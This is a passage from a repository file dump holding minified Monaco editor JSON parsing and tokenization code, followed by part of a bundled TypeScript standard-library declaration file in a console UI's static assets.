e=[];r(e),a.push(i),i=e,o=null},onArrayEnd:function(){i=a.pop()},onLiteralValue:r,onError:function(e,t,r){n.push({error:e,offset:t,length:r})}};return m(e,c,t),i[0]}function l(e,n,t){function r(e){\"property\"===i.type&&(i.length=e-i.offset,i=i.parent)}function o(e){return i.children.push(e),e}void 0===n&&(n=[]);var i={type:\"array\",offset:-1,length:-1,children:[]},a={onObjectBegin:function(e){i=o({type:\"object\",offset:e,length:-1,parent:i,children:[]})},onObjectProperty:function(e,n,t){i=o({type:\"property\",offset:n,length:-1,parent:i,children:[]}),i.children.push({type:\"string\",value:e,offset:n,length:t,parent:i})},onObjectEnd:function(e,n){i.length=e+n-i.offset,i=i.parent,r(e+n)},onArrayBegin:function(e,n){i=o({type:\"array\",offset:e,length:-1,parent:i,children:[]})},onArrayEnd:function(e,n){i.length=e+n-i.offset,i=i.parent,r(e+n)},onLiteralValue:function(e,n,t){o({type:u(e),offset:n,length:t,parent:i,value:e}),r(n+t)},onSeparator:function(e,n,t){\"property\"===i.type&&(\":\"===e?i.columnOffset=n:\",\"===e&&r(n))},onError:function(e,t,r){n.push({error:e,offset:t,length:r})}};m(e,a,t);var c=i.children[0];return c&&delete c.parent,c}function f(e,n){if(e){for(var t=e,r=0,o=n;r<o.length;r++){var i=o[r];if(\"string\"==typeof i){if(\"object\"!==t.type)return;for(var a=!1,c=0,u=t.children;c<u.length;c++){var s=u[c];if(s.children[0].value===i){t=s.children[1],a=!0;break}}if(!a)return}else{var d=i;if(\"array\"!==t.type||d<0||d>=t.children.length)return;t=t.children[d]}}return t}}function p(e){if(\"array\"===e.type)return e.children.map(p);if(\"object\"===e.type){for(var n={},t=0,r=e.children;t<r.length;t++){var o=r[t];n[o.children[0].value]=p(o.children[1])}return n}return e.value}function m(e,n,r){function o(e){return e?function(){return e(m.getTokenOffset(),m.getTokenLength())}:function(){return!0}}function i(e){return e?function(n){return e(n,m.getTokenOffset(),m.getTokenLength())}:function(){return!0}}function a(){for(;;){var e=m.scan();switch(e){case y.LineCommentTrivia:case y.BlockCommentTrivia:_&&c(k.InvalidSymbol);break;case y.Unknown:c(k.InvalidSymbol);break;case y.Trivia:case y.LineBreakTrivia:break;default:return e}}}function c(e,n,t){if(void 0===n&&(n=[]),void 0===t&&(t=[]),x(e),n.length+t.length>0)for(var r=m.getToken();r!==y.EOF;){if(n.indexOf(r)!==-1){a();break}if(t.indexOf(r)!==-1)break;r=a()}}function u(e){var n=m.getTokenValue();return e?E(n):h(n),a(),!0}function s(){switch(m.getToken()){case y.NumericLiteral:var e=0;try{e=JSON.parse(m.getTokenValue()),\"number\"!=typeof e&&(c(k.InvalidNumberFormat),e=0)}catch(n){c(k.InvalidNumberFormat)}E(e);break;case y.NullKeyword:E(null);break;case y.TrueKeyword:E(!0);break;case y.FalseKeyword:E(!1);break;default:return!1}return a(),!0}function d(){return m.getToken()!==y.StringLiteral?(c(k.PropertyNameExpected,[],[y.CloseBraceToken,y.CommaToken]),!1):(u(!1),m.getToken()===y.ColonToken?(T(\":\"),a(),p()||c(k.ValueExpected,[],[y.CloseBraceToken,y.CommaToken])):c(k.ColonExpected,[],[y.CloseBraceToken,y.CommaToken]),!0)}function l(){g(),a();for(var e=!1;m.getToken()!==y.CloseBraceToken&&m.getToken()!==y.EOF;){if(m.getToken()===y.CommaToken){if(e||c(k.ValueExpected,[],[]),T(\",\"),a(),m.getToken()===y.CloseBraceToken&&S)break}else e&&c(k.CommaExpected,[],[]);d()||c(k.ValueExpected,[],[y.CloseBraceToken,y.CommaToken]),e=!0}return v(),m.getToken()!==y.CloseBraceToken?c(k.CloseBraceExpected,[y.CloseBraceToken],[]):a(),!0}function f(){C(),a();for(var e=!1;m.getToken()!==y.CloseBracketToken&&m.getToken()!==y.EOF;)m.getToken()===y.CommaToken?(e||c(k.ValueExpected,[],[]),T(\",\"),a()):e&&c(k.CommaExpected,[],[]),p()||c(k.ValueExpected,[],[y.CloseBracketToken,y.CommaToken]),e=!0;return b(),m.getToken()!==y.CloseBracketToken?c(k.CloseBracketExpected,[y.CloseBracketToken],[]):a(),!0}function p(){switch(m.getToken()){case y.OpenBracketToken:return f();case y.OpenBraceToken:return l();case y.StringLiteral:return u(!0);default:return s()}}var m=t(e,!1),g=o(n.onObjectBegin),h=i(n.onObjectProperty),v=o(n.onObjectEnd),C=o(n.onArrayBegin),b=o(n.onArrayEnd),E=i(n.onLiteralValue),T=i(n.onSeparator),x=i(n.onError),_=r&&r.disallowComments,S=r&&r.allowTrailingComma;return a(),m.getToken()===y.EOF||(p()?(m.getToken()!==y.EOF&&c(k.EndOfFileExpected,[],[]),!0):(c(k.ValueExpected,[],[]),!1))}var g,h=e(\"vscode-nls\"),v=h.loadMessageBundle();!function(e){e[e.None=0]=\"None\",e[e.UnexpectedEndOfComment=1]=\"UnexpectedEndOfComment\",e[e.UnexpectedEndOfString=2]=\"UnexpectedEndOfString\",e[e.UnexpectedEndOfNumber=3]=\"UnexpectedEndOfNumber\",e[e.InvalidUnicode=4]=\"InvalidUnicode\",e[e.InvalidEscapeCharacter=5]=\"InvalidEscapeCharacter\",e[e.InvalidCharacter=6]=\"InvalidCharacter\"}(g=n.ScanError||(n.ScanError={}));var y;!function(e){e[e.Unknown=0]=\"Unknown\",e[e.OpenBraceToken=1]=\"OpenBraceToken\",e[e.CloseBraceToken=2]=\"CloseBraceToken\",e[e.OpenBracketToken=3]=\"OpenBracketToken\",e[e.CloseBracketToken=4]=\"CloseBracketToken\",e[e.CommaToken=5]=\"CommaToken\",e[e.ColonToken=6]=\"ColonToken\",e[e.NullKeyword=7]=\"NullKeyword\",e[e.TrueKeyword=8]=\"TrueKeyword\",e[e.FalseKeyword=9]=\"FalseKeyword\",e[e.StringLiteral=10]=\"StringLiteral\",e[e.NumericLiteral=11]=\"NumericLiteral\",e[e.LineCommentTrivia=12]=\"LineCommentTrivia\",e[e.BlockCommentTrivia=13]=\"BlockCommentTrivia\",e[e.LineBreakTrivia=14]=\"LineBreakTrivia\",e[e.Trivia=15]=\"Trivia\",e[e.EOF=16]=\"EOF\"}(y=n.SyntaxKind||(n.SyntaxKind={})),n.createScanner=t,n.stripComments=a;var k;!function(e){e[e.InvalidSymbol=0]=\"InvalidSymbol\",e[e.InvalidNumberFormat=1]=\"InvalidNumberFormat\",e[e.PropertyNameExpected=2]=\"PropertyNameExpected\",e[e.ValueExpected=3]=\"ValueExpected\",e[e.ColonExpected=4]=\"ColonExpected\",e[e.CommaExpected=5]=\"CommaExpected\",e[e.CloseBraceExpected=6]=\"CloseBraceExpected\",e[e.CloseBracketExpected=7]=\"CloseBracketExpected\",e[e.EndOfFileExpected=8]=\"EndOfFileExpected\"}(k=n.ParseErrorCode||(n.ParseErrorCode={})),n.getParseErrorMessage=c,n.getLocation=s,n.parse=d,n.parseTree=l,n.findNodeAtLocation=f,n.getNodeValue=p,n.visit=m}),define(\"jsonc-parser\",[\"jsonc-parser/main\"],function(e){return e}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/json/tokenization\",[\"require\",\"exports\",\"jsonc-parser\"],e);\n}(function(e,n){function t(e){return{getInitialState:function(){return new i(null,null,(!1))},tokenize:function(n,t,o,i){return r(e,n,t,o,i)}}}function r(e,t,r,a,c){void 0===a&&(a=0);var u=0,s=!1;switch(r.scanError){case o.ScanError.UnexpectedEndOfString:t='\"'+t,u=1;break;case o.ScanError.UnexpectedEndOfComment:t=\"/*\"+t,u=2}var d,l,f=o.createScanner(t),p=r.lastWasColon;for(l={tokens:[],endState:r.clone()};;){var m=a+f.getPosition(),g=\"\";if(d=f.scan(),d===o.SyntaxKind.EOF)break;if(m===a+f.getPosition())throw new Error(\"Scanner did not advance, next 3 characters are: \"+t.substr(f.getPosition(),3));switch(s&&(m-=u),s=u>0,d){case o.SyntaxKind.OpenBraceToken:g=n.TOKEN_DELIM_OBJECT,p=!1;break;case o.SyntaxKind.CloseBraceToken:g=n.TOKEN_DELIM_OBJECT,p=!1;break;case o.SyntaxKind.OpenBracketToken:g=n.TOKEN_DELIM_ARRAY,p=!1;break;case o.SyntaxKind.CloseBracketToken:g=n.TOKEN_DELIM_ARRAY,p=!1;break;case o.SyntaxKind.ColonToken:g=n.TOKEN_DELIM_COLON,p=!0;break;case o.SyntaxKind.CommaToken:g=n.TOKEN_DELIM_COMMA,p=!1;break;case o.SyntaxKind.TrueKeyword:case o.SyntaxKind.FalseKeyword:g=n.TOKEN_VALUE_BOOLEAN,p=!1;break;case o.SyntaxKind.NullKeyword:g=n.TOKEN_VALUE_NULL,p=!1;break;case o.SyntaxKind.StringLiteral:g=p?n.TOKEN_VALUE_STRING:n.TOKEN_PROPERTY_NAME,p=!1;break;case o.SyntaxKind.NumericLiteral:g=n.TOKEN_VALUE_NUMBER,p=!1}if(e)switch(d){case o.SyntaxKind.LineCommentTrivia:g=n.TOKEN_COMMENT_LINE;break;case o.SyntaxKind.BlockCommentTrivia:g=n.TOKEN_COMMENT_BLOCK}l.endState=new i(r.getStateData(),f.getTokenError(),p),l.tokens.push({startIndex:m,scopes:g})}return l}Object.defineProperty(n,\"__esModule\",{value:!0});var o=e(\"jsonc-parser\");n.createTokenizationSupport=t,n.TOKEN_DELIM_OBJECT=\"delimiter.bracket.json\",n.TOKEN_DELIM_ARRAY=\"delimiter.array.json\",n.TOKEN_DELIM_COLON=\"delimiter.colon.json\",n.TOKEN_DELIM_COMMA=\"delimiter.comma.json\",n.TOKEN_VALUE_BOOLEAN=\"keyword.json\",n.TOKEN_VALUE_NULL=\"keyword.json\",n.TOKEN_VALUE_STRING=\"string.value.json\",n.TOKEN_VALUE_NUMBER=\"number.json\",n.TOKEN_PROPERTY_NAME=\"string.key.json\",n.TOKEN_COMMENT_BLOCK=\"comment.block.json\",n.TOKEN_COMMENT_LINE=\"comment.line.json\";var i=function(){function e(e,n,t){this._state=e,this.scanError=n,this.lastWasColon=t}return e.prototype.clone=function(){return new e(this._state,this.scanError,this.lastWasColon)},e.prototype.equals=function(n){return n===this||!!(n&&n instanceof e)&&(this.scanError===n.scanError&&this.lastWasColon===n.lastWasColon)},e.prototype.getStateData=function(){return this._state},e.prototype.setStateData=function(e){this._state=e},e}()}),function(e){if(\"object\"==typeof module&&\"object\"==typeof module.exports){var n=e(require,exports);void 0!==n&&(module.exports=n)}else\"function\"==typeof define&&define.amd&&define(\"vs/language/json/jsonMode\",[\"require\",\"exports\",\"./workerManager\",\"./languageFeatures\",\"./tokenization\"],e)}(function(e,n){function t(e){var n=[],t=new r.WorkerManager(e);n.push(t);var c=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return t.getLanguageServiceWorker.apply(t,e)},u=e.languageId;n.push(monaco.languages.registerCompletionItemProvider(u,new o.CompletionAdapter(c))),n.push(monaco.languages.registerHoverProvider(u,new o.HoverAdapter(c))),n.push(monaco.languages.registerDocumentSymbolProvider(u,new o.DocumentSymbolAdapter(c))),n.push(monaco.languages.registerDocumentFormattingEditProvider(u,new o.DocumentFormattingEditProvider(c))),n.push(monaco.languages.registerDocumentRangeFormattingEditProvider(u,new o.DocumentRangeFormattingEditProvider(c))),n.push(new o.DiagnostcsAdapter(u,c)),n.push(monaco.languages.setTokensProvider(u,i.createTokenizationSupport(!0))),n.push(monaco.languages.setLanguageConfiguration(u,a))}Object.defineProperty(n,\"__esModule\",{value:!0});var r=e(\"./workerManager\"),o=e(\"./languageFeatures\"),i=e(\"./tokenization\");n.setupMode=t;var a={wordPattern:/(-?\\d*\\.\\d\\w*)|([^\\[\\{\\]\\}\\:\\\"\\,\\s]+)/g,comments:{lineComment:\"//\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"]],autoClosingPairs:[{open:\"{\",close:\"}\",notIn:[\"string\"]},{open:\"[\",close:\"]\",notIn:[\"string\"]},{open:'\"',close:'\"',notIn:[\"string\"]}]}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/language/typescript/src/worker.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/language/typescript/lib/lib-ts\",[],function(){return{contents:'/*! *****************************************************************************\\nCopyright (c) Microsoft Corporation. All rights reserved. \\nLicensed under the Apache License, Version 2.0 (the \"License\"); you may not use\\nthis file except in compliance with the License. You may obtain a copy of the\\nLicense at http://www.apache.org/licenses/LICENSE-2.0  \\n \\nTHIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\\nKIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED\\nWARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, \\nMERCHANTABLITY OR NON-INFRINGEMENT. \\n \\nSee the Apache Version 2.0 License for specific language governing permissions\\nand limitations under the License.\\n***************************************************************************** */\\n\\n\\n\\n/// <reference no-default-lib=\"true\"/>\\n\\n\\n/////////////////////////////\\n/// ECMAScript APIs\\n/////////////////////////////\\n\\ndeclare const NaN: number;\\ndeclare const Infinity: number;\\n\\n/**\\n  * Evaluates JavaScript code and executes it.\\n  * @param x A String value that contains valid JavaScript code.\\n  */\\ndeclare function eval(x: string): any;\\n\\n/**\\n  * Converts A string to an integer.\\n  * @param s A string to convert into a number.\\n  * @param radix A value between 2 and 36 that specifies the base of the number in numString.\\n  * If this argument is not supplied, strings with a prefix of \\'0x\\' are considered hexadecimal.\\n  * All other strings are considered decimal.\\n  */\\ndeclare function parseInt(s: string, radix?: number): number;\\n\\n/**\\n  * Converts a string to a floating-point number.\\n  * @param string A string that contains a floating-point number.\\n  */\\ndeclare function parseFloat(string: string): number;\\n\\n/**\\n  * Returns a Boolean value that indicates whether a value is the reserved value NaN (not a number).\\n  * @param number A numeric value.\\n  */\\ndeclare function isNaN(number: number): boolean;\\n\\n/**\\n  * Determines whether a supplied number is finite.\\n  * @param number Any numeric value.\\n  */\\ndeclare function isFinite(number: number): boolean;\\n\\n/**\\n  * Gets the unencoded version of an encoded Uniform Resource Identifier (URI).\\n  * @param encodedURI A value representing an encoded URI.\\n  */\\ndeclare function decodeURI(encodedURI: string): string;\\n\\n/**\\n  * Gets the unencoded version of an encoded component of a Uniform Resource Identifier (URI).\\n  * @param encodedURIComponent A value representing an encoded URI component.\\n  */\\ndeclare function decodeURIComponent(encodedURIComponent: string): string;\\n\\n/**\\n  * Encodes a text string as a valid Uniform Resource Identifier (URI)\\n  * @param uri A value representing an encoded URI.\\n  */\\ndeclare function encodeURI(uri: string): string;\\n\\n/**\\n  * Encodes a text string as a valid component of a Uniform Resource Identifier (URI).\\n  * @param uriComponent A value representing an encoded URI component.\\n  */\\ndeclare function encodeURIComponent(uriComponent: string): string;\\n\\ninterface PropertyDescriptor {\\n    configurable?: boolean;\\n    enumerable?: boolean;\\n    value?: any;\\n    writable?: boolean;\\n    get?(): any;\\n    set?(v: any): void;\\n}\\n\\ninterface PropertyDescriptorMap {\\n    [s: string]: PropertyDescriptor;\\n}\\n\\ninterface Object {\\n    /** The initial value of Object.prototype.constructor is the standard built-in Object constructor. */\\n    constructor: Function;\\n\\n    /** Returns a string representation of an object. */\\n    toString(): string;\\n\\n    /** Returns a date converted to a string using the current locale. */\\n    toLocaleString(): string;\\n\\n    /** Returns the primitive value of the specified object. */\\n    valueOf(): Object;\\n\\n    /**\\n      * Determines whether an object has a property with the specified name.\\n      * @param v A property name.\\n      */\\n    hasOwnProperty(v: string): boolean;\\n\\n    /**\\n      * Determines whether an object exists in another object\\'s prototype chain.\\n      * @param v Another object whose prototype chain is to be checked.\\n      */\\n    isPrototypeOf(v: Object): boolean;\\n\\n    /**\\n      * Determines whether a specified property is enumerable.\\n      * @param v A property name.\\n      */\\n    propertyIsEnumerable(v: string): boolean;\\n}\\n\\ninterface ObjectConstructor {\\n    new(value?: any): Object;\\n    (): any;\\n    (value: any): any;\\n\\n    /** A reference to the prototype for a class of objects. */\\n    readonly prototype: Object;\\n\\n    /**\\n      * Returns the prototype of an object.\\n      * @param o The object that references the prototype.\\n      */\\n    getPrototypeOf(o: any): any;\\n\\n    /**\\n      * Gets the own property descriptor of the specified object.\\n      * An own property descriptor is one that is defined directly on the object and is not inherited from the object\\'s prototype.\\n      * @param o Object that contains the property.\\n      * @param p Name of the property.\\n    */\\n    getOwnPropertyDescriptor(o: any, p: string): PropertyDescriptor;\\n\\n    /**\\n      * Returns the names of the own properties of an object. The own properties of an object are those that are defined directly\\n      * on that object, and are not inherited from the object\\'s prototype. The properties of an object include both fields (objects) and functions.\\n      * @param o Object that contains the own properties.\\n      */\\n    getOwnPropertyNames(o: any): string[];\\n\\n    /**\\n      * Creates an object that has the specified prototype or that has null prototype.\\n      * @param o Object to use as a prototype. May be null.\\n      */\\n    create(o: object | null): any;\\n\\n    /**\\n      * Creates an object that has the specified prototype, and that optionally contains specified properties.\\n      * @param o Object to use as a prototype. May be null\\n      * @param properties JavaScript object that contains one or more property descriptors.\\n      */\\n    create(o: object | null, properties: PropertyDescriptorMap & ThisType<any>): any;\\n\\n    /**\\n      * Adds a property to an object, or modifies attributes of an existing property.\\n      * @param o Object on which to add or modify the property. This can be a native JavaScript object (that is, a user-defined object or a built in object) or a DOM object.\\n      * @param p The property name.\\n      * @param attributes Descriptor for the property. It can be for a data property or an accessor property.\\n      */\\n    defineProperty(o: any, p: string, attributes: PropertyDescriptor & ThisType<any>): any;\\n\\n    /**\\n      * Adds one or more properties to an object, and/or modifies attributes of existing properties.\\n      * @param o Object on which to add or modify the properties. This can be a native JavaScript object or a DOM object.\\n      * @param properties JavaScript object that contains one or more descriptor objects. Each descriptor object describes a data property or an accessor property.\\n      */\\n    defineProperties(o: any, properties: PropertyDescriptorMap & ThisType<any>): any;\\n\\n    /**\\n      * Prevents the modification of attributes of existing properties, and prevents the addition of new properties.\\n      * @param o Object on which to lock the attributes.\\n      */\\n    seal<T>(o: T): T;\\n\\n    /**\\n      * Prevents the modification of existing property attributes and values, and prevents the addition of new properties.\\n      * @param o Object on which to lock the attributes.\\n      */\\n    freeze<T>(a: T[]): ReadonlyArray<T>;\\n\\n    /**\\n      * Prevents the modification of existing property attributes and values, and prevents the addition of new properties.\\n      * @param o Object on which to lock the attributes.\\n      */\\n    freeze<T extends Function>(f: T): T;\\n\\n    /**\\n      * Prevents the modification of existing property attributes and values, and prevents the addition of new properties.\\n      * @param o Object on which to lock the attributes.\\n      */\\n    freeze<T>(o: T): Readonly<T>;\\n\\n    /**\\n      * Prevents the addition of new properties to an object.\\n      * @param o Object to make non-extensible.\\n      */\\n    preventExtensions<T>(o: T): T;\\n\\n    /**\\n      * Returns true if existing property attributes cannot be modified in an object and new properties cannot be added to the object.\\n      * @param o Object to test.\\n      */\\n    isSealed(o: any): boolean;\\n\\n    /**\\n      * Returns true if existing property attributes and values cannot be modified in an object, and new properties cannot be added to the object.\\n      * @param o Object to test.\\n      */\\n    isFrozen(o: any): boolean;\\n\\n    /**\\n      * Returns a value that indicates whether new properties can be added to an object.\\n      * @param o Object to test.\\n      */\\n    isExtensible(o: any): boolean;\\n\\n    /**\\n      * Returns the names of the enumerable properties and methods of an object.\\n      * @param o Object that contains the properties and methods. This can be an object that you created or an existing Document Object Model (DOM) object.\\n      */\\n    keys(o: any): string[];\\n}\\n\\n/**\\n  * Provides functionality common to all JavaScript objects.\\n  */\\ndeclare const Object: ObjectConstructor;\\n\\n/**\\n  * Creates a new function.\\n  */\\ninterface Function {\\n    /**\\n      * Calls the function, substituting the specified object for the this value of the function, and the specified array for the arguments of the function.\\n      * @param thisArg The object to be used as the this object.\\n      * @param argArray A set of arguments to be passed to the function.\\n      */\\n    apply(this: Function, thisArg: any, argArray?: any): any;\\n\\n    /**\\n      * Calls a method of an object, substituting another object for the current object.\\n      * @param thisArg The object to be used as the current object.\\n      * @param argArray A list of arguments to be passed to the method.\\n      */\\n    call(this: Function, thisArg: any, ...argArray: any[]): any;\\n\\n    /**\\n      * For a given function, creates a bound function that has the same body as the original function.\\n      * The this object of the bound function is associated with the specified object, and has the specified initial parameters.\\n      * @param thisArg An object to which the this keyword can refer inside the new function.\\n      * @param argArray A list of arguments to be passed to the new function.\\n      */\\n    bind(this: Function, thisArg: any, ...argArray: any[]): any;\\n\\n    /** Returns a string representation of a function. */\\n    toString(): string;\\n\\n    prototype: any;\\n    readonly length: number;\\n\\n    // Non-standard extensions\\n    arguments: any;\\n    caller: Function;\\n}\\n\\ninterface FunctionConstructor {\\n    /**\\n      * Creates a new function.\\n      * @param args A list of arguments the function accepts.\\n      */\\n    new(...args: string[]): Function;\\n    (...args: string[]): Function;\\n    readonly prototype: Function;\\n}\\n\\ndeclare const Function: FunctionConstructor;\\n\\ninterface IArguments {\\n    [index: number]: any;\\n    length: number;\\n    callee: Function;\\n}\\n\\ninterface String {\\n    /** Returns a string representation of a string. */\\n    toString(): string;\\n\\n    /**\\n      * Returns the character at the specified index.\\n      * @param pos The zero-based index of the desired character.\\n      */\\n    charAt(pos: number): string;\\n\\n    /**\\n      * Returns the Unicode value of the character at the specified location.\\n      * @param index The zero-based index of the desired character. If there is no character at the specified index, NaN is returned.\\n      */\\n    charCodeAt(index: number): number;\\n\\n    /**\\n      * Returns a string that contains the concatenation of two or more strings.\\n      * @param strings The strings to append to the end of the string.\\n      */\\n    concat(...strings: string[]): string;\\n\\n    /**\\n      * Returns the position of the first occurrence of a substring.\\n      * @param searchString The substring to search for in the string\\n      * @param position The index at which to begin searching the String object. If omitted, search starts at the beginning of the string.\\n      */\\n    indexOf(searchString: string, position?: number): number;\\n\\n    /**\\n      * Returns the last occurrence of a substring in the string.\\n      * @param searchString The substring to search for.\\n      * @param position The index at which to begin searching. If omitted, the search begins at the end of the string.\\n      */\\n    lastIndexOf(searchString: string, position?: number): number;\\n\\n    /**\\n      * Determines whether two strings are equivalent in the current locale.\\n      * @param that String to compare to target string\\n      */\\n    localeCompare(that: string): number;\\n\\n    /**\\n      * Matches a string with a regular expression, and returns an array containing the results of that search.\\n      * @param regexp A variable name or string literal containing the regular expression pattern and flags.\\n      */\\n    match(regexp: string | RegExp): RegExpMatchArray | null;\\n\\n    /**\\n      * Replaces text in a string, using a regular expression or search string.\\n      * @param searchValue A string to search for.\\n      * @param replaceValue A string containing the text to replace for every successful match of searchValue in this string.\\n      */\\n    replace(searchValue: string | RegExp, replaceValue: string): string;\\n\\n    /**\\n      * Replaces text in a string, using a regular expression or search string.\\n      * @param searchValue A string to search for.\\n      * @param replacer A function that returns the replacement text.\\n      */\\n    replace(searchValue: string | RegExp, replacer: (substring: string, ...args: any[]) => string): string;\\n\\n    /**\\n      * Finds the first substring match in a regular expression search.\\n      * @param regexp The regular expression pattern and applicable flags.\\n      */\\n    search(regexp: string | RegExp): number;\\n\\n    /**\\n      * Returns a section of a string.\\n      * @param start The index to the beginning of the specified portion of stringObj.\\n      * @param end The index to the end of the specified portion of stringObj. The substring includes the characters up to, but not including, the character indicated by end.\\n      * If this value is not specified, the substring continues to the end of stringObj.\\n      */\\n    slice(start?: number, end?: number): string;\\n\\n    /**\\n      * Split a string into substrings using the specified separator and return them as an array.\\n      * @param separator A string that identifies character or characters to use in separating the string. If omitted, a single-element array containing the entire string is returned.\\n      * @param limit A value used to limit the number of elements returned in the array.\\n      */\\n    split(separator: string | RegExp, limit?: number): string[];\\n\\n    /**\\n      * Returns the substring at the specified location within a String object.\\n      * @param start The zero-based index number indicating the beginning of the substring.\\n      * @param end Zero-based index number indicating the end of the substring. The substring includes the characters up to, but not including, the character indicated by end.\\n      * If end is omitted, the characters from start through the end of the original string are returned.\\n      */\\n    substring(start: number, end?: number): string;\\n\\n    /** Converts all the alphabetic characters in a string to lowercase. */\\n    toLowerCase(): string;\\n\\n    /** Converts all alphabetic characters to lowercase, taking into account the host environment\\'s current locale. */\\n    toLocaleLowerCase(): string;\\n\\n    /** Converts all the alphabetic characters in a string to uppercase. */\\n    toUpperCase(): string;\\n\\n    /** Returns a string where all alphabetic characters have been converted to uppercase, taking into account the host environment\\'s current locale. */\\n    toLocaleUpperCase(): string;\\n\\n    /** Removes the leading and trailing white space and line terminator characters from a string. */\\n    trim(): string;\\n\\n    /** Returns the length of a String object. */\\n    readonly length: number;\\n\\n    // IE extensions\\n    /**\\n      * Gets a substring beginning at the specified location and having the specified length.\\n      * @param from The starting position of the desired substring. The index of the first character in the string is zero.\\n      * @param length The number of characters to include in the returned substring.\\n      */\\n    substr(from: number, length?: number): string;\\n\\n    /** Returns the primitive value of the specified object. */\\n    valueOf(): string;\\n\\n    readonly [index: number]: string;\\n}\\n\\ninterface StringConstructor {\\n    new(value?: any): String;\\n    (value?: any): string;\\n    readonly prototype: String;\\n    fromCharCode(...codes: number[]): string;\\n}\\n\\n/**\\n  * Allows manipulation and formatting of text strings and determination and location of substrings within strings.\\n  */\\ndeclare const String: StringConstructor;\\n\\ninterface Boolean {\\n    /** Returns the primitive value of the specified object. */\\n    valueOf(): boolean;\\n}\\n\\ninterface BooleanConstructor {\\n    new(value?: any): Boolean;\\n    (value?: any): boolean;\\n    readonly prototype: Boolean;\\n}\\n\\ndeclare const Boolean: BooleanConstructor;\\n\\ninterface Number {\\n    /**\\n      * Returns a string representation of an object.\\n      * @param radix Specifies a radix for converting numeric values to strings. This value is only used for numbers.\\n      */\\n    toString(radix?: number): string;\\n\\n    /**\\n      * Returns a string representing a number in fixed-point notation.\\n      * @param fractionDigits Number of digits after the decimal point. Must be in the range 0 - 20, inclusive.\\n      */\\n    toFixed(fractionDigits?: number): string;\\n\\n    /**\\n      * Returns a string containing a number represented in exponential notation.\\n      * @param fractionDigits Number of digits after the decimal point. Must be in the range 0 - 20, inclusive.\\n      */\\n    toExponential(fractionDigits?: number): string;\\n\\n    /**\\n      * Returns a string containing a number represented either in exponential or fixed-point notation with a specified number of digits.\\n      * @param precision Number of significant digits. Must be in the range 1 - 21, inclusive.\\n      */\\n    toPrecision(precision?: number): string;\\n\\n    /** Returns the primitive value of the specified object. */\\n    valueOf(): number;\\n}\\n\\ninterface NumberConstructor {\\n    new(value?: any): Number;\\n    (value?: any): number;\\n    readonly prototype: Number;\\n\\n    /** The largest number that can be represented in JavaScript. Equal to approximately 1.79E+308. */\\n    readonly MAX_VALUE: number;\\n\\n    /** The closest number to zero that can be represented in JavaScript. Equal to approximately 5.00E-324. */\\n    readonly MIN_VALUE: number;\\n\\n    /**\\n      * A value that is not a number.\\n      * In equality comparisons, NaN does not equal any value, including itself. To test whether a value is equivalent to NaN, use the isNaN function.\\n      */\\n    readonly NaN: number;\\n\\n    /**\\n      * A value that is less than the largest negative number that can be represented in JavaScript.\\n      * JavaScript displays NEGATIVE_INFINITY values as -infinity.\\n      */\\n    readonly NEGATIVE_INFINITY: number;\\n\\n    /**\\n      * A value greater than the largest number that can be represented in JavaScript.\\n      * JavaScript displays POSITIVE_INFINITY values as infinity.\\n      */\\n    readonly POSITIVE_INFINITY: number;\\n}\\n\\n/** An object that represents a number of any kind. All JavaScript numbers are 64-bit floating-point numbers. */\\ndeclare const Number: NumberConstructor;\\n\\ninterface TemplateStringsArray extends ReadonlyArray<string> {\\n    readonly raw: ReadonlyArray<string>;\\n}\\n\\ninterface Math {\\n    /** The mathematical constant e. This is Euler\\'s number, the base of natural logarithms. */\\n    readonly E: number;\\n    /** The natural logarithm of 10. */\\n    readonly LN10: number;\\n    /** The natural logarithm of 2. */\\n    readonly LN2: number;\\n    /** The base-2 logarithm of e. */\\n    readonly LOG2E: number;\\n    /** The base-10 logarithm of e. */\\n    readonly LOG10E: number;\\n    /** Pi. This is the ratio of the circumference of a circle to its diameter. */\\n    readonly PI: number;\\n    /** The square root of 0.5, or, equivalently, one divided by the square root of 2. */\\n    readonly SQRT1_2: number;\\n    /** The square root of 2. */\\n    readonly SQRT2: number;\\n    /**\\n      * Returns the absolute value of a number (the value without regard to whether it is positive or negative).\\n      * For example, the absolute value of -5 is the same as the absolute value of 5.\\n      * @param x A numeric expression for which the absolute value is needed.\\n      */\\n    abs(x: number): number;\\n    /**\\n      * Returns the arc cosine (or inverse cosine) of a number.\\n      * @param x A numeric expression.\\n      */\\n    acos(x: number): number;\\n    /**\\n      * Returns the arcsine of a number.\\n      * @param x A numeric expression.\\n      */\\n    asin(x: number): number;\\n    /**\\n      * Returns the arctangent of a number.\\n      * @param x A numeric expression for which the arctangent is needed.\\n      */\\n    atan(x: number): number;\\n    /**\\n      * Returns the angle (in radians) from the X axis to a point.\\n      * @param y A numeric expression representing the cartesian y-coordinate.\\n      * @param x A numeric expression representing the cartesian x-coordinate.\\n      */\\n    atan2(y: number, x: number): number;\\n    /**\\n      * Returns the smallest number greater than or equal to its numeric argument.\\n      * @param x A numeric expression.\\n      */\\n    ceil(x: number): number;\\n    /**\\n      * Returns the cosine of a number.\\n      * @param x A numeric expression that contains an angle measured in radians.\\n      */\\n    cos(x: number): number;\\n    /**\\n      * Returns e (the base of natural logarithms) raised to a power.\\n      * @param x A numeric expression representing the power of e.\\n      */\\n    exp(x: number): number;\\n    /**\\n      * Returns the greatest number less than or equal to its numeric argument.\\n      * @param x A numeric expression.\\n      */\\n    floor(x: number): number;\\n    /**\\n      * Returns 